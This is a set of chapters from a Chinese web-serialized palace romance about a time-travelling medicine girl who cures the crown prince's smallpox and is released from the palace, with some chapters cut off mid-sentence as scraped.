轩辕昊急急回头看向衣上云的脸,悄悄的对其使了个眼色,暗示他不必客气尽管开口。然而却只看到衣上云眼睛看了看殿外的张致远后说道。 “启禀陛下,太子殿下的天花此次能够得已痊愈,完全是东华宫上下众人同心协力的结果,尤其是张院判大人,他潜心研究配制良药,这才使得殿下能够安然无恙提早康复,张大人才是最该嘉奖之人。奴婢只不过是尽了一个奴才该尽的本份而已” 轩辕昊听了目瞪口呆甚是一愣,他不敢相信眼前这个女人竟然将这么好的一个机会就这样拱手相让,而且是让给一个之前对自己成见颇深之人。 这时,璟帝听了衣上云的这席话开口道“来人,宣张致远觐见” “罪臣张致远拜见吾皇万岁万岁万万岁!皇上,微臣失职,还请皇上降罪”张致远进入殿内便俯首跪拜说道。 “张致远,朕今日本应治你个失职之罪,但有人言你在太子染病期间,潜心研究配制良药,这才让太子能够安然无恙。故朕暂且饶你一命,日后你若再犯,必将与你罪加一等” 璟帝看了衣上云一眼对他说道,张致远这才反应过来璟帝口中所言极力维护他的人竟是她,一时间方感愧不当初,一脸歉意地看着衣上云低垂着的脸。 “皇后娘娘驾到,公主驾到” 正在此时,门外传来公公的通报声。 只见轩辕玥双手搀扶着皇后,俩人迈着大步匆忙的进入东华宫大殿,一进来便行礼道: “臣妾参见陛下” “玥儿拜见父皇” “平身”璟帝话音刚落,轩辕昊便急急上前行礼“儿臣给母后请安,皇姐安好?” “皇儿快起来,让母后好好瞧瞧”皇后心急如焚,一路几近狂奔,终于和轩辕玥赶到了东华宫内。 皇后拉着轩辕昊起身来,双手泪眼婆娑着捧起那张英气的少年脸孔。左看右看,上看下看,细细端详了好一会儿,见没有发现什么异常,接着又掀起衣袖将其手臂翻来覆去如同审视般仔仔细细看了个遍,最终将其一把拥入自己怀中,一只手甚是心疼地抚摸起轩辕昊的头来。 轩辕玥看见亦是嘟着嘴巴缓缓走过去将俩人一起拥着,三人喜极而泣拥作一团。 “我可怜的皇儿” “皇弟” “母后” “皇姐” 衣上云静静地站在一旁,瞬间紧紧的抿起了那张小嘴微笑着看着眼前这幸福的母子三人,让她亦是瞬间感动的眼里噙满了泪水。 这时,璟帝双手负后缓缓朝着母子三人走了过来道“好了,如今总算是有惊无险,既然痊愈了,以后就好好在宫中陪伴你母后左右吧,也不必再四方游历了” 说完这句,璟帝便径自走出了东华宫寝殿,在场众人皆行礼恭送。 “臣妾恭送皇上” “儿臣恭送父皇” “儿臣恭送父皇” “老臣恭送皇上” “奴婢恭送皇上” 璟帝一走,轩辕玥和轩辕昊便紧紧抱在一起蹦蹦跳跳起来说道“皇弟,真是太好了,父皇终于恩准你再也不必离开皇宫了”,皇后看着此时眼前这一双健康欢乐的儿女,心里尽是说不出的喜悦和欣慰。 但对她而言更重要的是,经过这次天花,璟帝竟然将轩辕昊永远留在了自己身边。想着想着,她不禁又回头去深情的看着璟帝离去的背影口中喃喃道“陛下...” “云儿,快过来”轩辕玥忽然轻唤起此时还在一边沉浸在别人母慈子孝幸福浓浓的亲情当中. 听到轩辕玥的召唤,衣上云才缓缓走过去道“云儿参见公主殿下” “母后,玥儿赢了”衣上云一走过来,轩辕玥定睛朝她微微一笑,随即回头看向皇后满脸骄傲神气和自豪地对皇后说道。 皇后亦是微笑着看了看眼前这个瘦小的女子,她还真没想到轩辕玥这个赌约真的会赢,而且赢得如此漂亮,让人惊叹。 “你就是衣上云?”皇后微笑着问。 “奴婢正是御药房药女,衣上云”她不卑不亢从容自若地上前回皇后的话。 “此次太子染疾,你侍疾有功,本宫要重重赏你,之前玥公主已经为你求了本宫...” 就在皇后话刚说到一半的时候,一旁的轩辕玥忽然不停地重咳起来“咳...咳...” 皇后闻声随即关切地目光朝着轩辕玥看去,只见轩辕玥微微向着她一摇头便随即接着皇后的话说道“云儿,本公主已经为你请示了母后并决定,除夕将至,赏你黄金千两,并恩准你提前出宫回家过年。回去后好好准备,年后便要进秦王府了” 皇后听闻轩辕玥此言甚是惊讶,心想:这个女儿可真是够大方的。前几日才为了眼前这个丫头坑了她十里红妆,今日竟又讹了她黄金千两。不过,只要他的皇儿平安喜乐,这些金银对她而言又算得了什么呢?! 正在这时,轩辕玥回头古灵精怪挤眉弄眼地朝皇后道“母后,玥儿所言可否属实?” “哦,无误,无误,玥儿所言确实属实”皇后无奈地微笑着配合她道,然衣上云此时看着这对母女俩的神情却感觉甚是怪异的样子。 “进秦王府?皇姐,云儿为何年后要进秦王府?”轩辕昊听了轩辕玥方才的话不解地急急问道。 “皇弟,你刚回宫,此事说来话长,以后皇姐再慢慢跟你解释”轩辕玥确实很难一言两语就将这么大的信息量跟轩辕昊传输明白。 “云儿,这段时间辛苦你了,快回去好好休息休息,领了赏便出宫去吧......云儿,你自由了!”轩辕玥一脸不舍却又充满希冀地看着衣上云说道。 “自由?!...”衣上云听了却顿时低眼轻叹了一声,随即深吐了一口浊气。 “哦...对了...”轩辕昊忽然发声,只见他轻轻从手腕上正摘下着那只七彩金丝彩玉镯子。 “衣药女,这个镯子本太子今日信守承诺还给你,既是重要的人赠的,以后切莫再随意应允旁人佩戴了。不过话说回来,这个镯子真的很有灵性,仿佛本太子就是因为佩戴了它,一夜之间便祛除了身上所有的天花麻斑,确实是个难得的宝物,日后你可要保管好了” 轩辕昊一边说着,一边将玉镯递到衣上云面前。 衣上云缓缓伸出双手去接过轩辕昊手中递来的熟悉的玉镯,眼睛一眨不眨的盯看了半天,然脸上却始终表情凝重着。 这个镯子如今现在对她而言,她真的不知道还有什么意义。 如果说它真的有穿越前外国科学家所说的那样强大的功能,却为何这么久还不能为己所用炼制解药祛除原主脸上的血管瘤,可轩辕昊的天花麻斑冥冥之中仿佛是与这镯子脱不了干系; 又如果说这个镯子会因穿越时空而丧失其强大功能,那它如今存在的意义便只是为了纪念魏明轩,那就更没有意义了,因为她在这个灵空大陆的西秦国里,显然不知归期是何夕?又该如何才能回去?她至今无一点头绪。 “什么宝物?什么很有灵性”皇后听见忽然轻声好奇的一边说着一边迈步过来打断了衣上云的思绪。 “皇后娘娘,它并不是什么宝物,也无什么灵性,是太子殿下喜欢,随便说着玩的。它只不过是一个普通的金丝玉镯而已,娘娘请看”衣上云说着便将镯子递给了面前的皇后。 皇后接过镯子优雅的拿捏在指间细细端详了半天忽然轻声说道“七彩金丝玉镯...这个镯子...本宫好像在哪里见过?” 皇后沉思了许久,始终没有想起来,或许是时间太久了,一直半会儿难以记起,便只得物归原主。 “哎呀...母后...云儿照顾了皇弟大半个月,够辛苦了,还不快让她下去好好休息休息”这时,轩辕玥上来替衣上云解围道。 “云儿,快去吧”轩辕玥边说边使眼色急急打发衣上云走,不愿让人再烦她。她上次落下严重的腿疾至今还未愈呢,又被轩辕昊的天花接连着折腾了大半个月,此刻必须得好好休息了。 衣上云遵命退下了大殿去。刚一走出东华宫的宫门,太医院首席院判张致远迎面走了过来。 这会儿他对衣上云不再横眉竖眼,而是一副彬彬有礼,儒雅十分客气地急急上前来对她说“衣药女请留步” 衣上云闻声渐渐收起了脚步,只听他清楚地上前说道“衣药女心怀宽广,不计前嫌替老夫在皇上面前求情开恩,老夫实在受之有愧” 衣上云见他大转变的态度确实有些惊讶,但仍旧一脸严肃对其说道“张院判乃身为西秦皇宫太医院肱骨之臣,可曾听说过人命至重,贵若千金,一方济之,德逾于此.这句话” “衣药女,都怪老夫一时疏忽大意才至于此”张致远听后似是后悔莫及道。 衣上云听了冷哼一声“哼,奴婢还是最初的那句话:医者仁心,还望张院判日后好自为之” 话刚说完她便匆匆迈步离去,张致远看着她远去瘦小的背影心里却不禁感叹道...... 第五十七章:西秦皇后天涯海角的承诺 “衣药女,都怪老夫一时疏忽大意才至于此”张致远甚是后悔莫及道。 衣上云听了他这番说词,却冷哼一声“哼,奴婢还是最初的那句话:医者仁心。奴婢言尽于此,还望张院判日后好自为之” 说完她便匆匆迈步离去,张致远看着她那渐渐远去瘦小的背影,心里不禁感叹道“真是一奇女子!如此临危不惧、舍己为人、仁心仁术、妙手回春” 显然他亦自知,轩辕昊之所以能在此天花大劫中安然无恙,衣上云比任何人承担的风险和付出的辛劳都要多。也正因为她把东华宫众人都挡在了殿外才使得所有人乃至整个西秦皇宫再无一人被感染,而轩辕昊身上天花麻斑的消除十有八九也定是和她脱不了干系。 轩辕玥的风华宫里,雍容华贵的皇后正满脸疑问地问道“玥儿,你明明跟母后打赌为衣上云那丫头赢取了一份十里红妆,方才又为何不让那丫头知道,却要另外赐她黄金千两呢?” “什么?皇姐,你可真厉害,竟然跟母后打赌赢了十里红妆,为谁?...衣上云...难不成那丑丫头已有了意中人,皇姐怕她没有体面的嫁妆,故而为之?”轩辕昊急急抢了皇后的话甚是惊讶地道。 然轩辕玥却一直抿着嘴低着眉眼轻轻笑着,片刻后只见她抬头望向皇后说“母后,玥儿原本只是个集万千宠爱于身的骄傲的公主。是云儿的出现,让玥儿感受到生命里还有最诚挚的友谊。云儿她善良、坚强又勇敢,对玥儿更是以命相护。玥儿从来都不曾当她是个奴婢,玥儿之所以为她问母后所求,只不过是希望她出嫁后的余生里,能够有母后的尊贵身份做靠山而不被夫家轻视,能够保她一生无忧罢了” 说着说着,她的眼里竟噙满了泪水停了片刻后,继续接着说“玥儿自知,留在西秦的时日已不多。以后天涯海角,想见自是不易,或许有生之年都不会再见了。秦皇叔大婚那日,婚礼筹办场面甚是盛大壮观。玥儿便许诺她,有朝一日,云儿出嫁玥儿亦是要让她风风光光。所以,玥儿在离开西秦之前,务必于她兑现诺言安排好一切方能安心离开” 皇后和轩辕昊在一旁认真地听着轩辕玥这番发自肺腑让人震撼的话,皇后忽然打断她问“那玥儿又怎知她此次一定可以保你皇弟安然无恙呢?如果她做不到,你又该如何兑现你的承诺?” 轩辕玥轻笑,答“只要云儿决定要做的事情,就没有做不到的。玥儿相信她,一直都信她,永远都信她” 皇后见轩辕玥如此看重与衣上云的这份感情,所谓“锦上添花易,雪中送炭难,人生难得一知己”,便问“那皇儿为何不将那丫头留在自己身边,相伴一生呢?如果皇儿愿意,母后必定全力帮皇儿安排,之前都怪母后多心,以小人之心度君子之腹,错怪了玥儿和那丫头,才唆使着将她赐给了秦王妃,如今看来却是母后错了” 然轩辕玥泪眼朦胧着苦笑道“不必了,母后。玥儿当然想她永远陪着玥儿,如此玥儿此生便再也无憾了。母后可知,当玥儿得知秦皇婶向父皇要了云儿到秦王府做她的贴身医女时,玥儿有多气恼多着急吗?可是玥儿不能让她跟着玥儿一辈子流落在异国他乡,始终为漂泊的异客啊。更何况,如今西秦国里或许可能有人比玥儿更需要她...” 轩辕玥心想,就算她想带衣上云走,衣上云亦是愿意跟随的,从此,俩人便可一生为伴。怕只怕,轩辕翰是绝对不会同意的,轩辕翰对衣上云的心思在轩辕玥看来是如此明显,嫁到秦王府,那也是早晚的事。 而秦王府如今已经有了富甲一方的东宁国公主梅汐媛先入为主,成为秦王正妃,如果衣上云以后要进秦王府的门,有了这十里红妆做嫁妆以及西秦皇后做她的靠山,梅汐媛日后也定会因此有所忌惮,衣上云也少受些她的羞辱与歧视。 “玥儿,是母后无能,不能将你留在西秦国内一生一世。如果有来世,玥儿千万不要再做母后的皇儿了,就做一个平常百姓家的儿女,永远在父母身边承欢膝下,安享天伦”皇后听完一边说着便哭了起来。 瞬时,轩辕玥和轩辕昊一同跪向了皇后身边,母子三人又一次抱团哭了起来。 最后,皇后对轩辕玥哽咽道“玥儿,你放心。母后承诺你的,母后一定会做到。等到那丫头出阁之日,不管她嫁到天涯海角,母后必以十里红妆将她风风光光送进夫家大门” 城东秦王府里。 程良正在向主子禀告着刚刚收到的来自皇宫里的消息“殿下,宫里传来消息,今日一早东华宫撤销了隔离,说太子的天花已经痊愈,而且太子全身未留下丝毫麻斑” “这怎么可能,向来天花之症者病愈后必会留下一生永久的麻斑,难道本朝太医的医术竟已达到如此高的境界”轩辕翰甚是惊讶的说道。 “宫里众人也对此甚是不解,只说是皇上听了太子的话,说这一切都是衣药女的功劳,并为衣药女向皇上邀功请赏。衣药女却将此盛功推给了素来对她成见颇深的太医张致远,张致远也因此才未被皇上再行重罚”程良详细道着。 “果然又是她...”轩辕翰预料之中似的说道,眼睛也微微抬起随即嘴角露出一抹好看的弧度。 他就知道这个倔强而又无所畏惧的女人决定了要做的事情,就一定能成功,他果然没看错。 程良饶有兴致出神般地看着主子脸上此时那久违了的好看的表情,愣着。 片刻后,轩辕翰似乎发现了一旁他的观望,便哼了两声恢复了贯日里的严肃之态问“还有事?” 程良的痴愣被主子的声音惊醒,接着说“殿下,衣药女被玥公主向皇后请赐...今日傍晚提前出宫回衣府过年,还赏了衣药女黄金千两” “这是她该做的...治疗腿疾的神医找的如何了?”轩辕翰若有所思,然后又忽然问道。 “属下还在找,只是都听闻了冻伤和损伤极为严重,连宫里的条件和太医都束手无策不能治愈,都说...怕是无望了”程良小心翼翼说着怕主子发怒,心里自然也是替衣上云担心着。 然轩辕翰却只是深深蹙眉沉思片刻,忽然吩咐到“让陆贤去找” 程良听了低头不解道“西秦学院会有线索?” 然轩辕翰说完却迈步急急朝殿外走去,边走边道“进宫” “现在进宫?都这个时辰了...”程良惊叫一声,然只能快步跟上。 西秦城南一片烟花柳巷聚集之地,万娇阁里依旧莺歌燕舞、千娇百媚。 冬天即使再冷,也挡不住这些豪门富户、权贵雅士、名门望族出门来寻找乐子,皆都流连忘返于此。 跑堂大茶壶的身影依旧像只猴子般飞奔在堂里忙得不亦乐乎。老鸨也依然满面红光的喜迎着四方而来的一个个财神爷们。 眼看着再过两日便是一年一度的除夕之夜了,这里的人气便更是旺了几分,在外忙碌的人儿都已纷纷归乡来,大家总免不了相约着齐聚一起来一睹这西秦国里最气派高档的风月之地,顺便在此寻个美人儿共度“良宵”。 阁楼上玉娘自从上次跟老鸨摊牌说要面见主子后,至今老鸨却都借口以主子繁忙抽不开身来搪塞她。 此时,玉娘正独自坐在窗前单手托腮郁郁寡欢着,望着窗外满是萧条的一片冬景。 年关将至,不知婆婆女儿是否丰衣足食?是否在想念着她?亦不知他那可怜的夫君是否尚在人间?和她一样每日里都期待着全家团聚的那一日。 带着满面优思的她,忽然移动视线却不小心扫到了对面角上的阁楼,一扇半开着的窗户。只见窗口探着一玉色花瓶,里面插着几支开的正旺的寒梅。她有些好奇,口中喃喃道“来万娇阁这么久了,我竟不知那个房间里还住着人?” 带着些许好奇,她缓缓起身准备下楼前往后院,想一探究竟。 谁知刚跨过门槛,当她小心翼翼地掩好门,一个转身后竟撞上了一个身姿挺拔的男子身影。她一时受惊,立马低头道歉“对不起,对不起,我不是有意的” 一直都低着头不敢抬起怕被人认出的她,只听眼前那人说道“小姐慌慌张张的,不知这是要去哪儿啊?” “我...我...我只是呆在房中太久,太憋闷了,想出来透透气...对...透透气...我这就回去,公子...对不住了”玉娘说着便转了身欲要回房里去。 “小姐请留步,既然房里憋闷,就要多出来透透气才是。小姐如此美貌,理应多出来露露脸才好”男子微笑着拦住了她说道。 玉娘这才回头轻声地道“让公子见笑了,敢问公子尊姓大名?” “哦...本公子乃北烈国商人,姓拓跋,单名一个泽字” “原来是北烈国拓跋公子,玉娘有礼了”玉娘即刻欠身行礼道。 “正巧,本公子这几日就歇在这万娇阁里,如果小姐不嫌弃,就至本公子房内坐坐,如何?”就在这时,老鸨看见了俩人便匆匆上楼来道“公子,您怎么不在后院,过来这边了?” 拓跋泽微笑着对老鸨说“哦,本公子无聊,随便到处走走,看到这个美人,不知可否请她到本公子的房间稍坐片刻呢?” 老鸨这时才冲着玉娘没有好脸色的道“公子赏你脸,你还不速速去好好作陪,傻杵在这里干什么?” 玉娘本就无意与外人接触,然当她听到“北烈国”三个字的时候,心里却瞬间激动不已,于是便欣然接受了老鸨的安排和面前这个自称作拓跋泽的男子的邀请说道“是,玉娘听命” 于是,她便跟在拓跋泽身旁缓缓向着后院里走去。 第五十八章:珍珑棋局已布,待君入局 原来,玉娘方才看见的那个开着窗,窗口探出一玉色花瓶插着几支寒梅的房间,正是眼前这位拓跋公子口中所说的暂歇之地。 一上楼进到房间里,玉娘才发现这个房间里的布局并不同于万娇阁其它的房间。 拓跋泽的房间坐北朝南,里面竟是由大大小小共五间房间组成。坐卧起居、书房暖阁等应有尽有,着实之大,装饰布置亦是庄严而大气。并不似万娇阁的常规格调。 玉娘一进去,拓跋泽便将她带至一间暖阁茶室内,让她在茶席边坐了下来,随后又贴心的递给她一只温暖的手炉道“外面天很冷,小姐快些暖一暖,莫要冻着了” “多谢公子”玉娘道谢接过拓跋泽递来的手炉抱在怀里取暖着。 随后,拓跋泽则走向茶席的另一边坐了下来。开始拿起一套白瓷茶具来泡茶。 玉娘抬头看到茶席边上竟有如此一大型乌木茶架升至屋顶,上面布满琳琅满目各种储存茶叶的茶罐,便道“公子喜欢品茶?” 拓跋泽看了玉娘一眼然后低头继续手里的动作,随后对她乐道“何为茶,即人在草木之间,草木如诗、美人如织;茶又生长于好山好水之中,集天地之灵气;茶亦乃水之君子,上善若水,润物无声,君子爱茶,宁静致远;万有一空,千杯万盏转头空,人生如茶空有中,提起放下,如去如来” 说话间,只见他温具、投茶、润茶、冲水、温杯、出汤、分茶一系列动作娴熟而又优雅,似是极为享受这其中的乐趣。 很快他便将一盏花瓣与茶叶一起在水中舒展、漂浮着的,散发出浓郁的玫瑰花香的玫瑰红茶递到玉娘面前说“这是用南国最上等的红茶混合其出产的最优质的玫瑰所制成的世间最好的玫瑰红茶,口感醇和。此茶利肺脾,益肝胆,尤其适合在这寒冷的冬日里女人美容养颜饮用。红花配女人,更别有一番韵味。小姐尝尝?” 玉娘伸出手去欣然接过只靠近鼻翼轻闻了一下便道“确实不错,早就听闻北烈国乃游牧民族,对茶情有独钟,人人皆嗜茶如命。今日一见,果然如此,公子如此懂茶,莫非正是茶叶商人?” 拓跋泽听闻忽然顿住,然片刻后一脸笑意地说“小姐不但国色天香,更是聪明过人,一猜即中” 玉娘这时才微笑着轻抿了一口手中的茶汤,心中似是有些犹豫但终究还是忍不住开口“公子即是北烈国商人,必定时常出入北烈国境内,不知可否帮玉娘打听一个人?” 拓跋泽眼睛一怔问道“不知小姐要本公子帮忙打听的是何人?” 玉娘心里似是有所顾忌,但已然在这万娇阁里久久都没有丝毫进展的她是真的太着急了,哪怕眼前这只是一点渺茫的机会她也不肯错过。 其实她早就知道老鸨定是对她一日日故意拖延着,而今日让她遇到的这个北烈国商人拓跋泽看似人脉广阔,或许托他真的能打听到夫君的消息也未尝不可。 无论如何,她这次都要冒险搏一次,不能再坐以待毙下去,天知道,他们究竟想要她在这里做什么。于是一咬牙便开口道“实不相瞒,玉娘要公子帮忙打听的这个人正是玉娘的相公” 拓跋泽吃了一惊,原来这个美人儿已为人妇,随即道“原来小姐已经是有夫之妇,那敢问小姐的相公姓谁名甚?又为何要本公子帮忙打听?虽然本公子四方经商,茶道上有些人脉,但本公子终究是北烈国人士,对西秦之人认识的实际上可并不多”【@~!最快更新】 玉娘随之眉头蹙起,仔细道“玉娘的相公,名叫赵平安。实不相瞒,相公是在西秦与北烈的战役中失踪的,他们都告诉玉娘,说他可能已经死了,可是玉娘不相信,玉娘相信他一定还活着。玉娘想或许他只是被抓去做了俘虏,那便只能在北烈国内寻找了。所以今才求助于公子,盼能帮玉娘打听打听,或许这将是玉娘唯一的机会了...如果能寻回相公,玉娘愿做牛做马报答公子,决不食言” 玉娘越说越激动,更越是对眼前的拓跋泽充满希望,拓跋泽亦是认真听着思考着。 正在这时,他的贴身护卫急急走了进来,像是有什么紧急的情况要汇报。 拓跋泽看见,于是便对玉娘说“本公子答应你便是,如果在北烈寻到有西秦赵平安的消息,本公子会带他来这里与小姐团聚,小姐暂且安心在此等候便是” 玉娘看见来人,又听拓跋泽如此回复她,便急急起身来说“如此,玉娘先谢谢公子了。公子有事,玉娘今日便不再叨扰公子,先回房去了” 拓跋泽亦微笑着起身送她“好,那小姐慢走,静候本公子佳音便是” 玉娘亦是微笑着颔首退去,护卫亦颔向其行礼。 这时,护卫才上前来禀告“殿下,刚收到消息,施毒西秦太子使其散播天花病毒至西秦皇宫之事...失败了” 拓跋泽听了立刻眉毛全竖,满脸怒色道“什么?怎么会?天花之毒怎么可能....到底怎么回事?还不快细细禀来” 于是护卫将收到的消息原原本本禀告给了拓跋泽。 “衣上云?那是什么人?”拓跋泽听后好奇地问道。 “听说是西秦国御药房里一个药师之女,长相丑陋且废柴一个,还被西秦学院的少 第五十九章:伤别离,忽然想起他 丁香说完,便将眼睛朝向衣上云满心希冀翘首期盼着衣上云能给她十分肯定的回答,而就在这时,门外传来一阵公公的声音“衣上云呢?还不赶快出来接旨?” 丁香听见急急起身出门查看,一看来人原来是皇后身边的大红人,随即便行礼却用一点都不客气的口气说道“公公今日怎么有空来御药房了?” 只见那公公横眉竖眼一脸不屑地对她道“你个小丫头片子,今日本公公是奉了皇后娘娘懿旨前来御药房办差的,还不让衣上云那个丑丫头赶快出来接旨,仔细若怒了本公公待会儿一个不高兴,告你们个抗旨之罪” “公公喊谁是丑丫头呢?这衣上云可是秦王殿下属意的大药女,莫非公公竟连秦王殿下都不放在眼里了?哦,如若是这样的话那他属意的人,公公自是更不会放在眼里了?”丁香亦是一脸无惧地怼道。 那公公听了这话气的眼睛都绿了,但一想到秦王殿下,终究还是不得不压住内心的怒火。只见他似一口气喘不上来,却只伸出一兰花指来直直指着面前的丁香道“你...你...” 这时,衣上云缓缓走了出来,方才她已经听到俩人在外面大呼小叫的争执声。一出来,她便对着丁香微微摇头,然后恭敬地朝公公行礼问道“公公找奴婢,不知所为何事?” “哼,罢了,今日算本公公倒霉,遇上你们俩这死丫头。衣上云,还不赶快下跪接旨”公公自是碍于秦王轩辕翰的尊贵身份,不得不低头就此作罢,于是便朝着二人气急败坏道。 衣上云听闻立马忍痛下跪接旨,丁香这时亦是跪了下来在她身旁。 公公这才宣旨道“奉皇后娘娘懿旨:太子身患恶疾,御药房药女衣上云侍疾有功,今赏其黄金千两以表其功;又因见其医药之术过人,且念秦王府秦王妃向来体弱,需得力医女照料,故将其赐予秦王府为医女。即日便准其出宫,待正月十五元宵佳节过后即刻前往秦王府报到,不得有误。钦此” 这些事衣上云自是心中有数的,便毫不犹豫的道“谢皇后娘娘恩典” “衣药女,恭喜啦,这么快便可以出宫了,不像有些人怕是要熬到人老珠黄的时候了”公公将赏金一边递上一边高挑着眉毛轻蔑地挑衅着她身旁的丁香道。 “你...”丁香伸出一根手指来,指着他愤怒道,衣上云连忙伸手制止她。公公见了重重地朝她哼了一声便踱步离去。 而这时,丁香才醒过神来,却一脸苦笑着对衣上云说道“云儿,恭喜你,得了千两赏金还能出宫去了” 说着说着,她便低下了头来。衣上云看见连忙放下手中的赏金拉起她的手说“丁香,对不起,我不是故意要瞒你的。方才我正要跟你细 说,这皇后懿旨便到了” 丁香听了再次抬起头的时候眼眶里已经噙满了眼泪,一把抱住衣上云哽咽道“云儿,我不怪你,我怎么可能怪你呢?我只是为你高兴,真的。原本我只想要和你永远在一起,永远不要分开,可是现在...” 衣上云听到趴在自己肩上丁香那让人心碎的哭声,亦是心里难过极了“丁香,天下无不散之筵席。无论我们在一起的时光有多美好,终逃不开宿命的安排。就像我们一直都追逐着一个人,而始终却是我们追的越紧,他便离得越远,甚至有一天突然就消失在我们的生命里不见。茫茫人海,有缘与你相聚一场,我必是终生不忘” 丁香听不太明白,只是一味地抽泣着说“丁香也永生不会忘记云儿” 此时,衣上云不知道为什么竟然想起轩辕翰来,她想起就在前不久轩辕翰劝慰轩辕玥的那句话,便也对着此时同样伤心着的丁香说道“丁香,你现在御药房里做的很好,你真的已经长大了。既然长大了,你就要明白,在这个世上,是没有谁会一直陪着你的,总有一天,你会成为孤独的一个人” 丁香似是哭够了,也听明白了一些,毕竟在跟衣上云朝夕相处的日子里,她潜移默化地跟着衣上云学会了很多,也成长了很多,已经再也不是以前那个胆小懦弱的丁香了。 于是,她缓缓站起身来擦干眼泪对衣上云认真的说道“云儿,丁香明白了,丁香一定会像云儿一样继续勇敢坚强地走下去。云儿以后在秦王府也是,不管遇到什么艰难挫折,都要勇敢坚强。我们一起努力,好吗?” 俩人站在御药房的院子里,手牵手,彼此都用力地抿嘴点头互相鼓励着,决心和期许着一同拥有更加美好的未来。 而衣上云此刻,虽是脸上挂着笑容,内心却无比沉重着。 从衣府,到皇宫,再到秦王府,以后还不知道又是哪里...感觉自己就如同一个商品,几经碾转着,没有一丝可以自己选择的机会。 对她而言,这些地方就如同一个个路过的驿站,永远没有尽头。那个久违了的温暖的家在哪里?她怕是早已迷失了自己,迷失在这穿越而至的千年国度里。 果然如衣上云所料,她一走,御药房大药女的职位便真的落到了已经成长起来的丁香身上。 因为她的腿疾,丁香本就在平日里代她掌管着御药房大药女诸多份内的职责。所以离开皇宫前的职务交接事宜自然是进行地都很顺利。 这会儿连包袱都已经打包好了,依旧是入宫时候带来的那几件旧衣裳。要走了还真是舍不得,毕竟在这里发生了很多事。她认认真真依依不舍地细细打量着屋内的所有物品。 这时,丁香进来说 “云儿,我陪你一起去风华宫跟玥公主道别吧?” &n 第六十章:除夕夜的约定 就在衣上云犯愁着,即使要找马车也要到距离皇宫很远的街市上才会有的时候。转眼居然就已经迈出了宫门这道槛来。 “终于出宫了”只见她一走出来便微笑着口中喃喃道,随即止步轻轻将那双依然好看的凤眼紧闭,下巴渐渐抬起,用力呼吸了一口宫外这无限自由的空气。 接着双手交叉伸直高高举过头顶,用力拉伸提起整个身子来,一张脸高高抬起。面朝着头顶的蓝天,又见她那副小蛮腰还左扭两下,后扭两下,甚是一副轻松惬意的样子。 片刻的自我放飞过后,似是恢复了精神,亦调整好心态。于是缓缓收回动作,而眼睛一放下来再正视向前方的时候,却被眼前人吓了一跳。 她不禁惊呼“三少...你怎么来了?” 没错,此时站在他眼前的这个身姿挺拔伟岸,再也熟悉不过的一对桃花眼,穿着一身大红甚是妖艳的斗篷披风男子正是易君浩易三少。 衣上云立刻朝四下里张望着,却并不见有其他人影。于是低下眉眼甚是怀疑的自言自语道“难道他是特意来接我的?” 就在这时,易三少远远的朝她微笑着一边走过来一边对她说“丫头,别看了,三哥哥今日就是专程来接你回家的” 衣上云眼睛一怔,惊讶道“接我?...可是...你怎么知道我今日会出宫?” 她自是不知易君浩在百草谷一听到紫苏禀报说今日衣上云会被放出宫的消息后,便等不及紫苏将话禀完便急急往皇宫里赶,他是一定要做那前来迎接她的丫头重获自由的第一人。 一走到衣上云面前,他便眼珠子一眨不眨地盯着她,似是想要将她的模样永远刻印在自己眼中一般,衣上云却还在纳闷着,为何他此刻会出现在这里。 片刻后易君浩只对衣上云心疼地说道“丫头,虽然你置身深宫当中,但你的事三哥哥自是都在关注的。丫头...你瘦了” 衣上云听了却大大咧咧地笑道“哪儿啊,你瞧瞧,这都胖的走不动道了呢” 易君浩听了只急急道“走...我们回家” 说着便伸出手拉起衣上云就大步流星的迈起步来,然衣上云的腿却早已不听使唤,哪能被他这样折腾拉起就快步。 易君浩似是意识到了衣上云腿的异常,便急急回头问“丫头,你的腿怎么了?” “哦..没事,就是刚才从御药房里一路这么走出来,腿有些酸而已”衣上云遮遮掩掩着回答。 然还是被易君浩发现了端倪,于是他将拉着衣上云的那只手迅速一个反转,直接触上了衣上云手腕上的脉搏,片刻后惊呼道“如此重的寒毒?到底是何人所为?” 衣上云忙抽回手藏于身后,支支吾吾着“就是寒冬里冻着了, 真的没事,休息休息便会好了” 易君浩是谁?怕是整个灵空大陆也找不到第二个比他更具高超医药术之人了。他怎么可能相信眼前这个丫头吞吞吐吐的谎言。即便她不说,他也自有办法弄清楚事情的原由。 思量片刻,他竟一步上前到衣上云跟前,将其一把霸道的横抱起来,衣上云被他的举动大惊喊着“三少...你干什么...赶快放我下来...快点把我放下来...三少” 然易君浩任由她无论多拼命的喊叫,亦是丝毫不予以理会,直到一路将她抱着上了马车,衣上云挣扎着跌跌撞撞坐进马车后一颗心“扑通扑通”乱跳着,露出一脸的绯红来。 而此时,眼前所发生的一切,包括方才一出宫门她做出的那副放飞自我甚是诱人的动作,被同样在宫门口另一边早早就前来等候着的轩辕翰一点不落的看在眼里。 看到易君浩对衣上云的冒犯之举,他眉头紧锁着,眼睛瞬时迸发出无比寒冷的光盯着那二人,一双拳头紧紧握起,竟有些咬牙切齿。 “殿下...”程良看见想要说些什么,却被轩辕翰一个厉声挡了回去。 轩辕翰冷声道“回府” 他怀揣着满心欢喜从城东秦王府一路狂奔赶来迎接衣上云出宫,却不想又被那个登徒子抢了先。 此时,他极力隐忍着内心的怒火,手撩起袍角一步跨上那豪华气派的安车端坐好,随即将一双渗人的冷眼微微合上,忽道“有没有查清他到底什么来路?” 程良在外架着车心中瞬间一愣,连忙回答“属下已经仔细查过,只能肯定他并非西秦人士,是来自南安国的商人,以医药相关行业谋生,具体在南安国的身份就不得而知了” “让人把他盯紧了,此人定不简单”轩辕翰意味深长地对程良交待。 “是,属下遵命”程良亦是同样感觉到此人身份太过神秘。 紧接着他却尤为谨慎地问了一句“殿下...那衣府那边要不要也多派些人盯着,以防他对衣药女有什么企图?” “不必了,既然她已对本王有所承诺,本王相信她自有分寸”轩辕翰胸有成竹地闭目着对程良说。 程良听到也只能遵照主子命令打消心中的顾虑,他对这个主子的智谋向来自是相当的佩服。 此刻他只希望那个丑丫头一定不要让主子失望了才好。 ...... “今天的 第六十一章:回到,梦开始的地方 衣上云以为这玉镯,如今既然能医好轩辕昊脸上的天花麻斑,就证明应是已恢复了其强大功能,那也必将可以医治她脸上的毒瘤,更也许可能会治愈她的腿疾。 她此刻已经按捺不住内心的激动,满心期待着这一振奋人心时刻的到来。 她立刻屏气凝神下来,将全身所有的心念都倾注在手腕上的七彩金丝彩玉镯子上。 时间在一点一滴的流逝,她的额头,鬓角很快就已经渗出了细细的香汗来,这种事情自是要耗费她不少的精神和心力。 